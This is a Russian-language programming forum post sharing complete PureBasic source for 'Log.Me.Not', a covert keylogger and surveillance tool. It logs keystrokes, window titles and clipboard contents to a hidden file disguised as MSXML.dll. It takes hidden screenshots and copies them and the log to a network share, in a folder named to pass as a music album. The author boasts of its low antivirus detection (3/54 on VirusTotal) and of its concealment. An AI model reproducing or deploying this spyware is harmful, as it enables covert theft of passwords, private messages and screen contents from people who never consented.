Помощь - Поиск - Пользователи - Календарь
Полная версия этой страницы: Dark side of Programming
DF2 :: ФОРУМЫ > Основные форумы > Софт и железо > Программирование / Coding
Страницы: 1, 2, 3
gamecreator
Цитата(etoprostoya @ 10 Jan 2011, 13:26) *
Che Guevara - Chaotic Good. Стоит поменять пол... smile.gif
"ориентацию" вместо "пол" смотрелось бы лучше и двусмысленно
Guevara-chan
Цитата(gamecreator @ 10 Jan 2011, 13:54) *
Цитата(etoprostoya @ 10 Jan 2011, 13:26) *
Che Guevara - Chaotic Good. Стоит поменять пол... smile.gif
"ориентацию" вместо "пол" смотрелось бы лучше и двусмысленно

Не нахожу. Заканчиваем флуд, кстати.
Guevara-chan
...Это был весьма долгий и очень тернистый путь. Но кто бы мог и помыслить, что у тестового keylogger'а могут найтись перспективы в (более-менее) универсальную утилиту слежения за машинами локальной сети ? Только еще отдельный генератор HTML-отчетов пилить пришлось...

Код
; -=-=-=-=--=-=--=-=-=-=-=-=-=-=-=-=-=-=-
; Log.Me.Not semi-remote overseer v0.3
; Developed in 2014 by Guevara-chan.
; -=-=-=-=--=-=--=-=-=-=-=-=-=-=-=-=-=-=-

EnableExplicit : UseJPEGImageEncoder()
;{ -<Structurality>-
Structure KeyMap : StructureUnion : Code.C : Char.S{1} : EndStructureUnion : Map.a[256] : EndStructure
Structure Separator : StructureUnion : Wordae.a[4] : Integer.i : Marker.u : EndStructureUnion : EndStructure
;}
;{ -<Procedurality>-
Procedure.s GetWinTitle(*hWnd)
Define TitleSize = GetWindowTextLength_(*hwnd), Result.s = Space(TitleSize)   ; Готовим аккумулятор.
GetWindowText_(*hWnd, @Result, TitleSize+1) : ProcedureReturn Result          ; Списываем сам заголовок.
EndProcedure
Macro MonitorString(ProtoAccum, MetaAccum, Methodic, LogEntry, AcceptEmpty = #True); Pseudo-procedure.
Define.s ProtoAccum, MetaAccum = Methodic                                     ; Инциализация значений.
If MetaAccum <> ProtoAccum And (AcceptEmpty Or MetaAccum)                     ; Проверка на изменения.
ProtoAccum = MetaAccum  : WriteStringN(0, #CRLF$+LogEntry) : EndIf            ; Логируем итоговое значение.
EndMacro
Procedure ComputerFingerPrint()
Define CName.s = ComputerName()                                               ; Считываем имя...
ProcedureReturn CRC32Fingerprint(@CName, StringByteLength(CName))             ; ...Но вместо него даем код. Логика !
EndProcedure
Macro GetVintageDate(Lapse); Pseudo-procedure.
FormatDate("%mm.%yyyy", AddDate(0, #PB_Date_Month, Lapse))                    ; Хитрый план. Очень хитрый.
EndMacro
Procedure.s NormalizeClip(Clip.s)
If Len(Clip) > #MAX_PATH : ProcedureReturn Left(Clip, #MAX_PATH) + LSet("", 3, "●") : EndIf; Обрезаем, если и правда оно как-то избыточно.
ProcedureReturn Clip                                                          ; Ну или не обрезаем... Дело хозяйское
EndProcedure

Macro SessionID() : ComputerName() + "〚⇛〛" + UserName() : EndMacro                                                        ; Partializer.
Macro Specialize(Char) : "『" + Char + "』"  : EndMacro                                                                       ; Partializer.
Macro SpecialOut(Char) : WriteString(0, Specialize(Char)) : EndMacro                                                        ; Partializer.
Macro MonitorWin(WinPtr=GetForegroundWindow_()):MonitorString(Title,NewTitle,GetWinTitle(WinPtr),"=►["+Title+"]◄="):EndMacro; Partializer.
Macro CheckState(Accum, Memo) : If Accum : PState + Memo + "+" : EndIf : EndMacro                                           ; Partializer.
Macro CheckMod(Code) : Bool(Keys\Map[#VK_#Code] & $80) : EndMacro                                                           ; Partizlizer.

Macro KeyCase(Code, Memo = "", NewLine =); Partializer.
Case Code : If Memo <> "" : WriteString#NewLine(0, Specialize(TakeStates(#True) + Memo)) : EndIf
EndMacro

Procedure.s TakeStates(CheckShift = #True); Практически partializer, но...
Global Alt, Ctrl, Shift, PState.s = ""
CheckState(Ctrl, "CRTL") : CheckState(Alt, "ALT") : If CheckShift : CheckState(Shift, "SHIFT") : EndIf
ProcedureReturn PState
EndProcedure

Procedure AsyncStateEX(Code)
Static Archive.KeyMap, I
Define State = Bool(GetAsyncKeyState_(Code) & -$8000), OldState = Archive\Map[Code]
Archive\Map[Code] = State : ProcedureReturn Bool(State = 0 And OldState)
EndProcedure
;}
;{ -<Constants>-
#TimeStamp = "%mm/%dd/%yyyy, %hh:%ii" : #Cloak = #PB_FileSystem_Hidden | #PB_FileSystem_System
#CAPTUREBLT = $40000000 : #Remote = "\\%<Machine name>%\Albums\" : #LogNext = "samples.nfo"
#Second = 1000 : #Minute = 60 * #Second
;}
; =<Initialization>=
Repeat : Define Mutex = CreateMutex_(0, 0, "[Loggeraes]") : If Mutex : Break : Else : Delay(100) : EndIf : ForEver
If GetLastError_() : End : EndIf; Это всегда плохая идея - запускать две копии логгера.
; ----
Define DateFeeder.Separator : With DateFeeder                                 ; Начинаем преобразование к желаемому.
\Integer = ComputerFingerPrint() : If \Wordae[2] > \Wordae[3] : Swap \Wordae[2], \Wordae[3] : EndIf; Для пущего реализма.
Define Album.s = #Remote + GetVintageDate(\Wordae[2]) + " - " + GetVintageDate(\Wordae[3]) + " [Release;" + \MArker + "]\"
EndWith; Вот мне искренне интересно самой - кто-нибудь оценить уровень конспирации ?
; ---
Define *MyThread = GetCurrentThreadId_(), Logfile.s = Trim(ProgramParameter()); Принимаем путь к логу в качестве аргумента.
If LogFile = "" Or OpenFile(0,LogFile)=#False:LogFile=GetPathPart(ProgramFilename())+"\MSXML.dll":OpenFile(0,LogFile):EndIf
SetFileAttributes(Logfile, #Cloak) : WriteStringFormat(0, #PB_UTF8) : FileSeek(0, Lof(0)); Продолжаем работу с логом.
If Lof(0) > SizeOf(Character) : WriteStringN(0, #CRLF$) : EndIf               ; Переносы для удобства.
WriteString(0, FormatDate("==►" + SessionID() + ": " + #TimeStamp + " - new session begun.", Date())); Старт сесии.
Define I, Keys.KeyMap : OpenWindow(0,0,0,0,0,"",#PB_Window_Invisible)         ; Незримое окно приема сообщений.
AddWindowTimer(0, 0, 10 * #Second) : AddWindowTimer(0, 1, 2 * #Minute)        ; Таймеры до переброса.
; =<Main loop>=
Repeat : Delay(5)                       ; Forever loop.
For I = 8 To #MAXBYTE                   ; Проверяем все клавиши.
If AsyncStateEX(I)                      ; Если клавиша отжата....
Define *Win = GetForegroundWindow_()    ; Получаем активное окно.
Define *Thread = GetWindowThreadProcessId_(*Win, 0); Получаем поток активного окна.
Define Lay = GetKeyboardLayout_(*Thread); Клавиатурная раскладка активного окна.
AttachThreadInput_(*MyThread, *Thread, #True)  ; Объединение входных потоков.
GetKeyboardState_(@Keys\Map) : MonitorWin(*Win); Получаем состояние клавиатуры.
; ---
Global Alt = CheckMod(MENU), Shift = CheckMod(SHIFT), Ctrl = CheckMod(CONTROL) : Keys\Map[#VK_CONTROL] = #False; Запоминаем все.
Select I; Обрабатываем специальные случаи для пущей красивости:
; ---
KeyCase(#VK_BACK    , "BCK")    : KeyCase(#VK_TAB   , "TAB")   : KeyCase(#VK_ESCAPE, "ESC")  : KeyCase(#VK_PRIOR , "PGUP")
KeyCase(#VK_NEXT    , "PGDN")   : KeyCase(#VK_END   , "END")   : KeyCase(#VK_HOME  , "HOME") : KeyCase(#VK_LEFT  , "LEFT")
KeyCase(#VK_UP      , "UP")     : KeyCase(#VK_RIGHT , "RIGHT") : KeyCase(#VK_DOWN  , "DOWN") : KeyCase(#VK_DELETE, "DEL")
KeyCase(#VK_SNAPSHOT, "PRTSCN") : KeyCase(#VK_PAUSE , "PAUSE") : KeyCase(#VK_LWIN  , "LWIN") : KeyCase(#VK_RWIN  , "RWIN")
KeyCase(#VK_APPS    , "APPS")   : KeyCase(#VK_F1 To #VK_F12, "F" + Str(I - #VK_F1 + 1)); Основные клавиши идут тут, дальше - лирика:
KeyCase(#VK_CONTROL) : KeyCase(#VK_MENU)  : KeyCase(#VK_SHIFT) : KeyCase(#VK_LCONTROL)  : KeyCase(#VK_RCONTROL) : KeyCase(#VK_LSHIFT)
KeyCase(#VK_RSHIFT)  : KeyCase(#VK_LMENU) : KeyCase(#VK_RMENU); Заглушки для всего того, что нам не нужно.
KeyCase(#VK_INSERT , "INS") : KeyCase(#VK_RETURN, "ENTER", N)  : Default; Иначе - стандартная процедура приведения код к символу.
; ---
If ToUnicodeEx_(I, MapVirtualKey_(I, 0), @Keys\Map, @Keys\Code, SizeOf(Keys\Code), #Null, Lay) > 0; Преобразуем же.
Define FinalOut.s = TakeStates(#False) : If FinalOut : FinalOut = Specialize(FinalOut + Keys\Char) : Else : FinalOut = Keys\Char : EndIf
WriteString(0, FinalOut) : Else : WriteString(0, Specialize("?")) : EndIf  : EndSelect : EndIf    ; Выводим, что у нас в итогах получилось.
; Основная часть заканчивается здесь, дальше идет слежение за буфером и скриншоты:
Next I : MonitorString(Clip, NewClip, GetClipboardText(), "【◆►►"+NormalizeClip(NewClip)+"◄◄◆】", #False); Немного буффера обмена.
If WindowEvent() = #PB_Event_Timer                  ; Настали таймеры - время удивительных вещей.
If EventTimer() : CreateDirectory(Album)            ; !! А вот отсюда начинается копирование во внешнюю среду !!
ExamineDesktops(); А теперь делаем процесс еще увлекательнее - снимки с экрана !
Define ScreenDC = GetDC_(#Null) : CreateImage(0, DesktopWidth(0), DesktopHeight(0))                   ; Готовим поверхности.
BitBlt_(StartDrawing(ImageOutput(0)), 0, 0, ImageWidth(0), ImageHeight(0), ScreenDC, 0, 0, #SRCCOPY|#CAPTUREBLT); Cтандартный перенос.
ReleaseDC_(#Null, ScreenDC)                                                                           ; Говорят, лишним не бывает
Define ShotName.s = Album + FormatDate("%dd.%mm.%yyyy--%hh`%ii`%ss.mus", Date()) : StopDrawing()      ; Формируем название.
If SaveImage(0, ShotName, #PB_ImagePlugin_JPEG, 4) : SetFileAttributes(ShotName, #Cloak)              ; Пересылка на точку.
MonitorWin() : WriteStringN(0, #CRLF$+"▲▼screen/"+GetFilePart(ShotName)+"/shot▼▲") : EndIf : FreeImage(0); Рапортуем в логе о снимке.
FlushFileBuffers(0) : CopyFile(LogFile, Album + #LogNext) : SetFileAttributes(Album + #LogNext, #Cloak); Копируем нашую главную ценность.
SetFileDate(Album + #LogNext, #PB_Date_Modified, Date())                                              ; Проставляем даты, даты проставляем.
EndIf : Else : FlushFileBuffers(0)                                                                    ; Просто и уныло сбрасываем буферы.
EndIf
ForEver

Кстати: https://www.virustotal.com/ru/file/cb1017b7...sis/1403414514/
3/54 ? Да, Евгений Валентинович, это очень хорошая программа - хотите, вам тоже установлю ?
Для просмотра полной версии этой страницы, пожалуйста, пройдите по ссылке.
Форум IP.Board © 2001-2026 IPS, Inc.